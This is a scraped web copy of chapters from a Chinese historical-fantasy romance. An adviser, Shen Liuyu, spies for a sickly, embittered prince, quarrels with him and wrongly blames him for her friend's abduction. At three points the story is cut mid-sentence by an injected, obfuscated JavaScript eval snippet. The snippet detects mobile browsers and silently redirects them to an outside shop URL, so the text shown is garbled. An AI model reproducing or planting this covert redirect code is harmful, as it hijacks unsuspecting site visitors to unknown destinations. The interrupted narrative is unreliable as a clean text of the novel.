她读过许多史书古籍,自然清楚明璟的意思,凡是以一身侍二主,最后又选择忠于其中一方的人,大都逃不过遭逢猜忌、鸟尽弓藏的结局。 良久,她的声音在寂静中响起:“我不想讨好谁,只是想为辛夷城的百姓多做一些事。” 她也过过苦日子,知道底层之人的生活有多么艰难,丰收年的粮食要上交给官家,灾荒年无人救济,便只有吃草根、啃树皮。 她身无长物,唯有一根笔杆勉强能用,或许能帮百姓做些什么,也让她找寻到自己存在的意义。 从山谷中来的人不能忘记山谷,越是站得高,越要看清支撑自己站稳的地基。 这是亡父用一生教会她的道理。 沈流玉神色平静,口中是近乎冠冕堂皇的理由,眼睛里却流露着固执的光,纯粹得让人心悸。 明璟突然没了兴致,把名册撂到一边,“真无聊。” 清明刚过去不久,院墙外,隐约传来孩童嬉笑的声音,几盏长明灯缓缓升高,成为了夜空中最耀眼的星光。 对此,明璟似乎没有观赏的心思,随意瞥了两眼便说乏了,让管家推他回去。 流玉被晾在一边,在轮椅将要经过她时,问:“二公子不想见盛世?” 轮椅停下了。 流玉冒着不敬的风险,走回到他面前,“难道,你就忍心看着辛夷城生灵涂炭吗?” 廊下无端起了一阵小风,吹得花草簌簌地响。 明璟的面容一半隐在阴影里,仿佛都蒙上了阴霾,不知在想什么。 半晌,他抬起眼眸,口吻却冷漠得一如既往,“他们安居乐业还是生灵涂炭,跟我有什么关系?” 在他沉默不语的几秒里,沈流玉心里几乎燃起了希冀,还以为自己唤起了他仁民爱物的心,结果还是没有分毫改变。 话不投机半句多,流玉略感烦闷,又不能发作,只有退而求其次,选择眼不见心不烦。 “下官突然想起长公子那边还有要事,二公子,失陪了。” 说罢,她草草行了个礼,头也不回地走了。 管家惊于她的失礼,忙去观察主子的脸色,明璟看着那个背影消失在长廊尽头,冷笑道:“她何时将我放在眼里过?如今有了明珲的庇护,自然更加肆无忌惮。” 他刚喝过药,想起府医“不能动气”的叮嘱,也就只有逼自己放平心绪,努力将某个又傲气又没规矩的人从记忆里排出去。 风停下,偌大的院子里清净无人,又变回了一片死寂。 明璟让管家也退了下去,独自在廊下,许是觉得乏味,他复又拿起那封名册,翻来覆去地看了几眼,也不知道看进去了多少。 盛世? 明璟轻嗤了一声,低声自语:“跟我有什么关系?我都快死了。” 40. 辛夷有泪(三) 一月后,辛夷城主举办赏花宴,沈流玉跟随长公子同往,意味着正式以谋士的身份进入了朝堂。 今日,流玉盛装出席,身穿雪青色官袍,以银冠绾髻,更添了几分沉稳内敛,冠后珠链一直垂到耳后肩头,反射出细碎的光彩。 行酒令时,她始终跟在长公子身后,向明璟行礼时不卑不亢,亦没有多半个眼神,仿佛初遇的陌生人。 府医一如往常来给二公子送补药,温热的汤水下肚,莫名让明璟喝出来一股火气。他兴致缺缺,朝某个方向看了一眼,那股无来由的火气越盛,没过多久就随便找了个借口,自顾自出去透风了。 酒过三巡,城主亦不胜酒力,被长公子搀扶着离场。 沈流玉坐在一群臣子中,逐渐感受到来自各处的异样目光,夹杂着隐约的窃窃私语。 她知道,那不是仰慕或欣赏,而是对“罪臣之女”的怀疑和审视。 身后议论的声音渐起,沈流玉紧抿着唇,随后,一个身着朱紫色官袍、蓄着胡须的中年男人走到了她面前,竟是当今丞相,何休。 何休位高权重,朝中众臣皆敬他畏他,他一靠近,那些不友善的议论声悉数消失了。 何休只当不知,来到沈流玉面前,笑道:“前段时日听闻长公子再得贤才,原来是沈先生之女,当真是后生可畏。” 沈胥获罪而死,生前被夺了官位,因此在朝中不能称呼“侍郎”原职,只能称“先生”。 如何休这样一位大人物,竟然会纡尊降贵来向她示好,沈流玉不知其中缘由,只有敛下思绪,向他行礼寒暄。 当炎庚走进大殿,看见的就是这样一副场景,沈流玉正与人交谈,对面是几位朝中老臣,为首者神情看似随和,却暗藏锐利。 他目光沉了沉,随后大步走向沈流玉,道:“沈长史怎么还在这里?长公子到处寻你不得,现在正着急呢。” 沈流玉听后一怔,她没多想,继而便向众人告辞,去后殿寻明珲去了。 炎庚看着她离去,目光方回到众臣身上,揖手问候。 何休的兴致被扫,面上笑容淡了许多,“老夫前脚与沈长史说话,后脚炎将军便带着长公子之令来了,可真是巧。” 和冥宫那些难缠的老狐狸相比,眼前这些大臣根本不值一提,炎庚不在意,道:“以丞相之意,我应该将长公子的吩咐暂且压下来,无论如何也要先等丞相说完,是也不是?” 众人听出了丞相话中的机锋,但没想到炎庚敢回呛,一时皆噤若寒蝉。 说来蹊跷,这位炎将军一无家世二无财权,从天而降来到辛夷城不过数年,便受长公子赏识步步高升,如今已然掌握了兵械库半数的实权,任谁能不忌惮? 何休的脸色几不可见地僵了僵,旋即恢复如常,“炎将军言重了,老夫不过是开个玩笑,这辛夷城上下何人岂敢对长公子不敬?” “丞相开玩笑,我便也是开玩笑,还望丞相宽宏,莫要放在心上。” 炎庚似笑非笑,侧目吩咐身后手下,“还不快去找沈长史?她深得长公子重视,倘若在外面出了什么意外,你们谁担当得起?” 他声音刻意抬高,仿佛是说给谁听一般。 何休听懂了他话中的深意,目光明显阴鸷了几分,炎庚恍若未觉,低了低首,“丞相,告辞。” …… 宴席未散,沈流玉来到殿外的镜湖边,没有见到长公子,而是等到了刚刚才见过的炎庚。 她先是诧异,继而便反应过来,长公子才跟随城主离开不久,哪里有功夫见她? 流玉意识到自己被骗,皱起了眉头,作势便要离开,炎庚忙拦住她,“说者无意听者有心,何休手中权柄过重,你与他走得太近难免会遭人议论,说你野心昭昭。” 听了他的解释,沈流玉心中的不悦才散去,也不再坚持要走了。两人在长公子府邸共事,如今算是混成了熟人,加上炎庚经常来找她,他们的关系便比寻常同僚更近几分。 湖畔无人,粼粼水光荡漾起波纹,映在山石上。炎庚说:“其实这些天以来,我一直有个疑问。” “二公子为你脱了奴籍,为何你却选择了追随长公子?” 迎着流玉的目光,他问出了口,声音中含着不自知的试探,“你,不想跟着二公子?” 流玉沉默了,个中原因复杂,有些不能坦诚,有些不知该从何说起。 炎庚看出了她的踌躇,“我只是随口一问,并无试探之意,你不想说便不说。” 眼前人垂眸沉思,她眼尾没有了那两道昙花印痕,神情却与过去如出一辙。 与圣女珞瑶相比,“流玉”的情感更加外放,俨然是一个更稚嫩、也更鲜活的她。 炎庚注视着她,悄悄弯起了唇角,流玉侧头看他,正好对上了他来不及收回的视线,于是心神微动,转眼便走了神。 自打她进入长公子麾下,炎庚便对她照料有加,这份“照料”不至于孟浪唐突,而是多数表现在公务上,助她取信于长公子,扶持她建立声望。 他总是如及时雨一般出现,帮她规避了不少麻烦,有时是一本恰好需要的账簿,有时是一个险些逃跑的人质。 可从前他们素不相识,他何至于待她如此? 难道真像第一次见面时他说的那样,是因为她有“沈侍郎的风姿”? 思及此,流玉问:“你怎么会认识我父亲?他在世的时候,似乎并不常与武官打交道。” “我与你父亲不相熟。” 炎庚知道她想问什么,轻笑,“可我认识你啊。” “什么?” 炎庚转身面对她,水面上的粼光照进他眸子,“你就没有想过,万一我们很久以前就认识了呢?” 他说着,口吻半是玩笑半是认真,着实迷惑了流玉。 她以前从没发现,原来炎庚的瞳孔不是纯粹的黑,从某个特定的角度来看,居然能呈现出暗红色的光。 流玉一哂,抱臂转向镜湖的方向,“你骗人的话术真拙劣。” 她自小和父亲在一起,每日不是读书就是写字,印象里可没有炎庚这么个人。 “是你不信。” 炎庚失笑,却也没辩解什么,随手捡起个小石子扔出去,搅乱了一池静水。 那天他去澜渊圣境,本是想给珞瑶看冥界新设置的镇幽结界,才在无意中得知了她下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346585|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡历劫的消息。如果没有私心,他不会不顾手下的劝阻,执意追下来。 他不知道珞瑶历此劫的目的,但既然来了,总能陪她将这短暂的一生走完。 “方才你不是问我,为什么会选长公子吗。” 流玉神色平静,忽然开口了,“我要为我父亲平反,长公子做过他的学生,是最有可能帮我的人。” “你可知真凶是谁?”炎庚目光一动,问。 其实他多少知道一些内情,却无法告诉她,怕她得知真相后报仇心切,操之过急,反给她招来祸患。 流玉摇了摇头,“不知道。但我清楚,那个人一定不是我惹得起的,我还要向上爬很久,才能拥有动手的胜算。” 贪墨案发生前,沈胥最得城主赏识,受器重之深无人能出其右,因此,寻常官员不敢对他动手,更做不到势力渗透进牢狱,取人性命于无形。 流玉明白,父亲的死是一个缩影,一个苍生之内皆悲苦、权贵之外皆蝼蚁的缩影,而这一缩影,足以倒映出辛夷城潜藏的一切隐患和危机。 她顶着所有争议、怀疑,选择再次踏入这趟浑水,就是要激浊扬清,扫除这里的旧疾沉疴,让所有倒行逆施的恶人都付出代价。 而在实现这一切之前,她必须站到更高的地方。 身边人眉眼清冷,里面却散发着坚定的神采,炎庚静静望着,无论是珞瑶还是沈流玉,她似乎永远都能做到如此理性,像一架精准运转的机械,不出现任何疏漏。 可她到底不是机械。 镜湖中,偶现的几条锦鲤摆尾露出水面,荡起长长的涟漪。 炎庚忽然叫了她的名字,道:“沈流玉,无论将来发生了什么,你都可以相信我。在辛夷城,我是最不可能伤害你的人。” 他的话似担保、似诺言,含着显而易见的认真,在静谧中显得分外清晰。 …… 湖岸对面,阁楼上亮着几盏灯,明璟停在栏杆边,遥遥望着湖边那一对身影,神色不明。 “那人是谁?”他问。 湖上雾气太重,除了沈流玉,谁也看不清。 管家忙回话交代了,说是长公子身边的炎将军。 明璟听后面无波动,声音却明显沉了下去,“同僚啊。” 他记得这个人,每次派回的眼线向他禀报沈流玉的动向,十次有七八次绕不开这个名字。坊间也有传闻,说长公子麾下谋士众多,唯炎将军与沈长史最得赏识。 紫檀珠磕在轮椅扶手上,撞出细微的响声。明璟的目光依然锁在那两人身上,并排站在湖边,雪青色和暗银色融在一起,一明一暗,却很是和谐,就好像…… 明璟想着,突然感到头疼欲裂,他弯了背脊,披在双腿上的毛毯也滑落下去。 刹那间,他心底竟滋生出了一阵强烈的痛感,进而扩散到四肢百骸,将他淹没。 为什么,眼前的画面会让他那么熟悉,又那么抵触? 眼前记忆不断闪回,他抓不住,痛觉渐渐转化为不甘,唤醒了灵魂最深处的偏执。 管家发现了他的不对劲,正在大声喊人,明璟用最后的冷静一把抓住他,咬着牙,“回府。” 41. 辛夷有泪(三) 这年中秋,辛夷城主没有再举办宴会,只说期望阖家团圆,共赏明月。 明璟身为人子,对他的意思心知肚明,却装作不懂,在当天以“不能见风”为由,拒绝了来自父亲的邀请。 从早到晚,明璟一直留在府中,陪着他的除了管家,也就只有手腕上那串紫檀珠,外面不时传出“何人送来了节礼”的消息,他也不理会。 时间好像过去了很久,久到他靠在软榻上,都快要睡着了。 管家进门来,向他低声传话:“公子,沈学士来了。” 片刻,沈流玉出现在门口,身后跟着两个传膳侍女,她依旧穿着官服,走进房中,向明璟屈膝一礼。 “今日中秋,长公子念着二公子,让我来送些二公子喜欢吃的东西。”她道。 侍女将食盒放在花几上,一个个打开,里面是各色精致的饭食,荤素俱全。 明璟只瞥了一眼,看上去心情并没有多少波动,更说不上恼怒或欣喜。 其实,他没有什么特别钟爱的吃食,不过稍有偏好,每每想多吃一些,便会因体弱而被人提醒和阻止。 久而久之,“吃东西”就不再是他眼中令人期待的事,反而变成了一种负担。 明璟刚醒来,喉咙还有几分沙哑,“沈学士事务缠身,还要抽空来我这里跑一趟,有劳了。” 正直容易树敌,却是明主眼中最可贵的品格,数月之间,沈流玉步步高升,从长史到学士,逐渐开始靠近实权。 她很得明珲的信任,能够轻易接触到许多机密事务,更方便了她向明璟传递消息,表面上却要更加避嫌。 厚重的官服像一身盔甲,束缚住了所有鲜活的情绪,当着侍女的面,流玉不好说什么,只是望着他,低首道了一句“不敢”。 侍女退下了,房门关上,隔绝了外面的风声。 明璟一手拄着头,总算摘下了客套的假面,“真稀奇,你跟着明珲出席中秋家宴,他居然舍得差使你。” “城主和长公子在一同用饭,说这几道菜都是公子爱吃的,又说别人不放心,所以命我送来。”流玉答。 升迁之后,沈流玉公务忙碌,和明璟足有一个月没有见过面,只是偶尔传递密信情报,勉强维持着主上和卧底的关系,今日一见才发觉,他似乎清减了几分。 明璟在房中闷了一天,脑袋昏昏沉沉的,整个人都没力气。他心知流玉这一番话的意图,无非是为那两人作说客,什么“希望他能解开心结,莫再沉湎于过往”云云。 他早就听腻了。 明璟没搭腔,见流玉杵在那里,命令道:“过来,扶我。” 说着,他向流玉伸出一只手,理所当然。 流玉一僵,抬起眼,却见他的神情不似玩笑。 在他威胁的注视下,她到底还是走了过去,搀扶住他手臂。 明璟的身量偏清瘦,但站起时足够高大,流玉扶着他,眼前都被一片黑压压的影子遮住了,一阵药草的清香绕在她鼻腔,淡淡的,含着苦涩气。 两人向饭厅的方向去,明璟道:“上次刑狱司的事,你做得很好,他可有怀疑你?” 先前沈流玉手下出了点小风波,闹到了刑狱司去,在那里,她状告先前的狱监渎职受贿,将其绳之以法后,顺势扶持了新的官员继任。 无人知晓的是,这个官员其实是明璟的人。 流玉知道明璟口中的“他”是谁,答道:“长公子宽宏,只问了两句便过去了。” “别在我面前夸他。”明璟没好气道。 流玉:“……” 对于自己同父异母的兄长,明璟自然是怀有偏见的,始终不肯放下心防。 流玉抿了抿唇,忍不住道:“长公子性情和善,私下里时常问起你,我以为……”他不像会对你不利的人。 “还说?” 她的话被明璟毫不留情地打断,还给了她一个眼刀,威胁道:“你是不是忘了,你的好姐妹还在我手上?” 提起杨柳,流玉又急又怒,方才一瞬间生出的“多管闲事”的古道热肠,转眼就被一盆冷水浇灭了。 明璟自顾自落座,对她道:“坐下。” 流玉原本准备回去,听后怔了怔,她目光匆匆扫过一桌饭菜,才发现管家退下前居然在这里摆放了两副碗筷。 面对和二公子共进晚膳的“殊荣”,流玉无福消受,第一反应是找个借口赶紧离开,而明璟看出了她的想法,淡淡道:“明珲忙着和我那父亲团圆,无暇理会你,你现在回去应该只有喝点西北风的份,还显得我待客不周,连一顿饭都吝啬。” 这番话一出,流玉是彻底走不了了,否则就是以下犯上、忤逆主子。 他强留她,也不知是不是因为怕有人下毒,所以拿她试菜。 不过沈流玉确实饿了,她忙碌了一整天,还没吃东西,索性顺水推舟,当真和明璟同桌而坐,毫不忌讳地夹了一筷子菜。 食不言,寝不语。 今日是团圆之日,相比长公子府邸的和乐融融,这里安静得冷清,连院子里也没有人,空留墙外那轮满月孤芳自赏。 相比流玉,明璟食欲平平,没吃几口就停了筷,漱口净手后独自坐在门前,手腕上的紫檀珠被他解了下来,既不捻动也不把玩,只是握在手心。 他不像信佛之人,却不明缘由,始终戴着一串佛珠。 没过多久,管家过来禀报:“公子,静心堂那边的香已燃尽了,可要……” “继续点上。” “是。” 管家得令,很快退下了。流玉暗想:静心堂,是二公子府上专门用来祭奠亡母的地方。 “你是不是想问,我为什么不去亲自祭奠她?” 明璟能猜出她在想什么,平静地自问自答,“因为我不记得她的长相,她也不记得我的,她对我的印象之深刻,应该还比不上跟过她几年的医女。” 华夫人是在分娩当日故去的,据传闻,她在明璟降生后便陷入昏迷,之后再也没有醒来。 面对眼下的情景,再冷情的人也说不出一句重话,流玉道:“母子连心,就算生前不曾见过,魂魄也会有所感应。” “可我不想感应。” 她的安慰被斩钉截铁地打断,明璟神色漠然,少时丧母之痛尖锐地鞭笞着他的心,如今也被时间磨成了钝角。 “为了所谓的大义,她毁了我的一辈子,她不是爱民如子吗?那就让那些人去祭奠她吧……哦,我忘了,辛夷城对她的祭奠只持续了十年,后面便无人提起了。” 他嘴角露出一抹讥诮的弧度,不知是嘲讽还是怜悯,沈流玉却从里面看出了深埋的不甘。 于是,她开口反问:“是真的无人提起,还是公子自己没看见?是没看见,还是不敢面对?” 明璟的笑立马僵在了唇边。 流玉将他的反应尽收眼底,这下,她不着急走了,径自走上前,将呼啸的风关在了门外。 “不必我说,公子也应该清楚,你对百姓的态度称不上友善,可他们却对你没有怨言,长公子救济饥民这么多年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350349|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声誉极佳,还是比不上你拥有的民心。” 她走到明璟身边,眸子里不含一分浑浊或杂质,“公子,这是为何?” 辛夷城二公子地位稳固,偶有任性出格之举,亦极少招致弹劾和非议。多年以来,他始终在朝中占有一席之地,朝臣宽宥他,百姓包容他,种种善意之举,难道都是无来由的吗? 当然不是。 这只是因为,辛夷城把对华夫人的追念和爱戴,全都转移到了她的孩子身上。 流玉说完,明璟的呼吸明显急促了几分,那点假笑也消失了,“你说够了吗?” 他狠狠瞪了沈流玉一眼,不等管家来,也不坐轮椅了,撑着扶手站起身,便要自己回内室去,后者却不让他走,几步追了上来。 她什么分寸都不讲,直接拦在他面前,逼他停住了步子,明璟下意识向后退,慌忙间抵住了轮椅底下的横梁,又生生跌坐了回去。 他恼了,厉声叱道:“让开!来人,来——” 下一刻,他的嘴被捂住了。女子的掌心触碰到他脸颊,是温热的,也是柔软的,随之而来的是一阵淡淡的墨香,钻进他鼻子。 明璟定在原地,登时成了木偶人。他无声睁大了眼,震惊和羞恼分为两派,相互打得难舍难分,最后在他生了锈的脑袋里同归于尽,只剩下了一个念头:沈流玉无法无天了。 长这么大,从没有人敢这样对待他。 捂上去的一瞬间,沈流玉的脑子也空白了。身为臣子,她本该知礼数、懂尊卑,可是这次,她却对主上做了这种没有半分敬畏的事,甚至没有经过任何思考。 仿佛是心直接给出的指引,告诉她“就该这样做”。 做都做了,现在让她跪下请罪是不可能的,趁明璟还没回过神,流玉心一横,在轮椅前蹲下身,“公子可知道,我是如何来到这个世上的?” 明璟堪堪回神,意识仍是迟钝的,正想发难,谁知这一身病骨没跟上心思,嘴一张险些咬了舌头。 随后,流玉的声音响起来,“毒水污染辛夷城的时候,我母亲也病倒了,那时城中的人接连不断地死,我父求医无望,已为她备好了棺木,没想到最后华夫人的好消息传了出来,她解出药方,救活了整个辛夷城。我母亲的病大好,两个月后,她被诊出了喜脉。” 她的语速并不快,称得上和缓,一字一句又十分清晰,容不得明璟逃避,就那么坦诚、那么直白地告诉他:“没有夫人,便没有我。” 沈流玉。 经流水侵蚀打磨过的玉,坚如山下磐石。 明璟的心不受控制地颤抖起来,他想不为所动,想大言不惭地提醒她“你没那么重要”,却一个都没有做到,只看见自己内心深处好不容易垒起的厚障壁变得摇摇欲坠,最后倾圮、倒塌,成了一座七零八落的危楼。 “你把我抓回府邸的那天,问我除了你,还有谁会记夫人一辈子。” 沈流玉神色认真,烛光勾勒出她的五官轮廓,融化了拒人千里的冷清,“我会。” 她的话像一把摄魄的刃,彻底夺去了明璟的全部力气。他厌恶所谓的感同身受,抵触不自量力的人试图同他“推心置腹”,每每遇见,往往回以指责挖苦、反唇相讥,好像这样就能让其他人都和自己一样痛苦,从而使他满足,得到心理上的平衡…… 可是现在,他身上所有的尖刺、荆棘,全都被一个不速之客打落了。 明璟的背脊无声弯下去,半边面庞隐入了阴影。 半晌,他低低开口,“沈流玉,你走吧。” 42. 辛夷有泪(五) 枯黄的落叶带走了最后一丝暖意,转眼便入了冬。这年冬日,朝中几位老臣致仕,为辛夷城的官场带来了一场规模不小的洗牌,各处势力纷纷涌进来。 对此,长公子明珲态度保守,到底是不愿触动明璟的利益,制造手足冲突。 沈流玉是长公子的谋士,亦是如今朝中颇受关注的文臣,可以说是目睹了此次变局的全程走向。这天难得闲暇,她在后院散步,便想起了这件事。 “若他日夺嫡之争搬上台面,长公子又会如何抉择?”流玉垂下眸子,隐晦道。 根据她的了解,明璟没有夺位之心,只是难以放下对他人的心防,经营势力也是他为“自保”而选择的方式,长公子则心胸开阔,在外都护着他。 倘若日后冲突加剧,他们会不会改变现在的想法,兄弟之间兵戎相见? “长公子重情,必然不愿伤及二公子。”炎庚目光移向她,声音沉了沉,“怎么突然问起这个?” 流玉摇头,“只是无意中想到罢了。” 两人说着话,一个守卫忽然匆匆赶了进来,面有急色。 “出了什么事?” 流玉心中窜起一阵不祥的预感,守卫赶忙上前,附到她耳畔回禀,“今早杨姑娘去琴楼买琴,可过了大半日都没见出来……” 流玉一慌,立马问:“哪个琴楼?” 守卫不明就里,报了一个名字,谁知流玉立马变了脸色,“为何不早些禀报!” 什么琴楼?那个地方门头光鲜,实则藏污纳垢见不得光,分明是一座青楼! 想起之前明璟对她说过的那些威胁之言,流玉再也坐不住了,急急告别炎庚,一骑快马赶到了守卫交代的地方。 她手里提着把剑,一路长驱直入,吓得那些靡靡之音也不敢再奏了。当家的“琴师”——实为鸨母,听见动静后连忙赶了出来,满脸堆笑地问她找何人做何事,实则早已暗暗召集了几个负责护卫的壮汉,作无声的威压。 流玉压根没看他们一眼,全部心思都放在找人上,她避开上前阻挠推搡的人群,坚持向深处去,直到踹开最后一扇紧闭的房门,才终于看见了杨柳的身影。 房中炉香氤氲,她孤零零躺在地上,被麻绳捆束着手脚,昏迷不醒。 “杨柳!” 流玉大喊出声,疾步冲了进去,想扶起杨柳查看她的情况,又被周遭的鸨母壮汉团团围住了。 起初,流玉持刀劈砍,无人能近她身,可没过多久,她竟感到浑身上下越来越无力。 以她的身手,对付这群乌合之众本是绰绰有余。 流玉心中警铃大作,迅速寻找着使自己异样的源头,紧接着便看见了角落里的香炉,闻到了那阵早已侵蚀她许久的异香。 流玉的头脑越来越迟钝,逐渐失去了思考的能力,最后握着刀柄撑在地上,身体不受控制地软了下去。 鸨母冷笑一声,支使手下将她捆起来,没等他们靠近,外面突然传来了兵甲相击的响动,伴随着伶人难掩慌张的声音:“不好了,官府来人了!” 守卫军持了查封的诏令,自门外鱼贯而入,不到半刻功夫,便将楼中众人悉数捉拿。为首的炎庚将差事交给副将,自己则直奔顶楼,将流玉和杨柳救了下来。 她们的衣衫整齐,那些人应该还没来得及做什么。 炎庚稍稍放下心,将软倒的流玉扶在怀里,后者意识昏沉,用尽仅剩的力气勉强抬起手,指向帷帐后掩着的香炉。 炎庚很快明白了她的意思,“哐当”一声,香炉被刀尖掀翻,炉灰横飞。 …… 软筋散的药效过去后,流玉逐渐恢复了,她没有听府医的继续休息,而是复又拿上自己的刀,去了二公子府邸。 明璟畏寒,卧房里早早就燃起了炭火,房门打开,一片熏人的温暖骤然被寒意冲散了。 流玉站在门口,问:“杨柳呢?” 逆着光,明璟看不清流玉的神情,只能听出她声音微哑,像掺着硌人的沙砾。 “你怎么来了?”明璟不明所以。 如果没有记错,他并没有约她今日相见,以前巴不得与自己划清界限的人,这次却是不请自来了。 天边阴了下去,凛冽的寒风刮过走廊,冷得彻骨。 流玉缓缓走进来,“二公子,杨柳呢?” 佩刀在她腰间微晃,随着走动而十分显眼,过了逆光处,明璟才看清她的脸,居然像自己一样苍白。 “你好狠的心!” 说完,流玉一把抽出佩剑,寒光迸射出来,尖锐的剑尖直指明璟咽喉! 管家和一众守卫都没想到沈流玉会突然“行凶”,无不吓破了胆,险些朝着她跪下。 流玉手里有凶器,他们又不敢轻举妄动地靠近,唯有凄声唤着“沈学士”,求她莫要伤害二公子。 在众人一声声的呼唤里,沈流玉心中压抑着的戾气反而被激了起来,“杨柳犯了什么错?你有什么要求大可直接告诉我,为什么要为难她!” 直到现在,明璟才算明白了沈流玉为何而来,敢情是专程过来找事的! 他呼吸急促,被气得七窍生烟,“沈流玉,你偏听偏信了什么人的挑拨,少来不分青红皂白地给我扣帽子!我到底做了什——” “你想害她流落风尘!” 她话音一落,周遭死一样的寂静,连风声都消失了。 管家先回过神来,颤颤巍巍上前想解释,却被明璟喝退了。 他目光未移,紧紧盯着流玉的脸,“在你眼里,我就是这种肮脏龌龊的人啊。” 流玉举着剑,瞳孔几不可察地颤了颤。 放在以前,她也许会用“怪僻”、“孤傲”等字眼来形容明璟,但从来没有把他和那样不堪的词联系到一起。 她手臂一酸,原本举得牢牢的剑也跟着晃,明璟却不许她放下,一把握住了剑刃,“没错,就是我做的,刚才不是很猖狂么?继续。” 管家的心跟着发抖,“公子!” 沈流玉的佩剑削铁如泥,就这样直接接触,是势必会割伤手的,明璟缩都没有缩一下,反而握得更紧,还把剑尖向自己喉咙的方向送,贴上脆弱的皮肤。 “何苦劳累你一直举着?直接刺进来,这样你解气,明珲也一劳永逸了。” 他如同感觉不到痛一样,从牙缝里溢出一声笑。鲜红的血液顺着手掌流下来,那颜色过于艳丽,刺痛了流玉的眼。 极端强烈的悲与怒交织着袭来,在混乱中没收了流玉的冷静,如今这份冷静走失久了,又在血腥气的刺激下被强行召回,迫使她直视眼下糟糕的情景,也在心里浮现出一个念头: 是,明璟一直都是这样恶劣的,如果是真,他不承认,是假,他也不辩解。 “咣”地一声,她脱了力,手里的剑直直砸到了地上。 沈流玉自认不是个软弱的人,可那一瞬间,她脑中最先蹦出来的想法居然是逃避。 这份想法驱使着她,于是,她真的逃了,意识尚未提出质疑,双腿已经跨出了门槛。 寒风消失了。 房门再度紧闭,寂静得针落可闻,像做了一场离奇的梦,唯有地上那把没有刀鞘的剑,时刻提醒着发生过的一切。 望着空空荡荡的门口,明璟气急攻心,撑着桌案,兀自咳了个昏天黑地。 惴惴不安的府医和下人一拥而上,有的为他顺气、捧药,有的替他包扎手掌的伤口,明璟咳得天旋地转,连眼睛都看不见了,半晌才好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354549|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易缓过来。 沈流玉平时虽然无礼,但不会这么不顾后果,今日她的反常不可能是无来由的。 明璟怒气未消,质问管家:“杨柳呢!” 管家扑通一声跪下,连声告罪:“公子恕罪!是公子之前吩咐过不必看守杨姑娘,我们便没有加派人手……” 这下,明璟连发怒的力气都没有了,只感觉体内血气上涌,浮现在眼前的星星时明时暗,全都虚情假意地围着他转。 原来今日种种,竟然是他自作自受。 他一指房门,“滚,全都滚……把这破剑扔出去,别让我看见,也不许还给她!” …… 沈流玉回去的时候,杨柳已经醒了,只是她吸入的软筋散剂量太大,依然需要卧床休养。 见流玉归来,杨柳露出笑,语气中含着不好意思,“我是不是给你添乱了?这次幸亏有你。” 流玉摇头,望着她虚弱的脸色,心中一痛,“我不该向他妥协的,早知如此,我一定会求长公子救你出来……” 杨柳先是一愣,而后猜出了沈流玉的心思,无奈地辩解:“流玉,你误会了。” “虽然二公子抓了我,把我当成制约你的筹码,可他从来没有亏待过我,是宝儿病了,我需要用钱,又舍不下脸面向你和二公子求助,所以才想去外面找个弹琴卖艺的活计……” 宝儿是杨柳的胞弟,两人相依为命多年。 了解过来龙去脉后,沈流玉无处逃避,最后欺骗自己的一点希望也消失了。 其实在最开始的时候,她心里就有过暗暗的怀疑,可这点怀疑在滔天的急与怒面前根本不足挂齿,拉不住更多被武断所占据的心。 她误会了他,还在兴师问罪时伤了他,见了血。 杨柳没有觉察出流玉情绪的变化,笑了笑,“我运气太差了,好不容易挑出一个乐坊,结果是家青楼。” “你还开玩笑。”无论是对杨柳的遭遇还是自己捅出的篓子,流玉都轻松不起来。 两人说着话,炭火带来的暖意驱散了一切不安。 杨柳替流玉理了理折出褶皱的衣襟,说:“等我养好,你还是把我送回二公子府邸吧,我在那里做‘人质’,其实过得也挺好的。莫要和二公子撕破脸,损了你的名声,让人觉得你忘恩负义。” “名声不算什么,我一个谋士……”流玉下意识反驳。 杨柳摇了摇头,在烛光下弯起了眼,“可是,流玉将来是要做大宰相的呀。” …… 深夜,月亮藏进了云层。 今日明璟受了气,又负了伤,本该好好休息调养,眼下却翻来覆去地睡不着。 他越睡越烦躁,忍不住坐起身,喊了一句:“来人。” 守在外面的管家听见动静,忙不迭进来了,手里还拿着一个小小的信筒。 明璟看见了,问:“那是什么?” 管家硬着头皮,“公子,是沈学士送来的信。” 望着那个信筒,明璟几乎有两秒的失语,怒极反笑。 抱着瞧瞧“明珲那边有何动静”的打算,他到底是打开了信筒,把那封犹带体温的密信拿了出来,里面只写了短短几句话,仍是朝堂上的公事,告诉他长公子近期有意向清查矿运司的账目,二公子可早做准备。 没有道歉、没有辩解,也绝口不提她那把剑,就好像今天的事没有发生,她也从未踏足过他的府邸。 “准备什么?我的人又不会贪污受贿。”他冷冷道。 谁敢搜刮公家之财,活该被揪出来杀。 明璟说着,其实恨得牙痒痒,将“沈流玉”这三个字在口中翻来覆去磨成了灰,就连信纸上端方工整的字迹也全都变成了不知所云的鬼画符。 43. 